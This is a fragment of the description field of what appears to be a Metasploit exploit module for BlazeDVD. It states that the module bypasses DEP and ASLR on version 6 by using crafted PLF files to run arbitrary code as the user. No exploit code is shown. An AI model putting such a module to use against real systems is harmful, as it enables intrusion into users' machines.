'Description' => %q{  
This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module   
will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of   
specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under   
the context of the user.
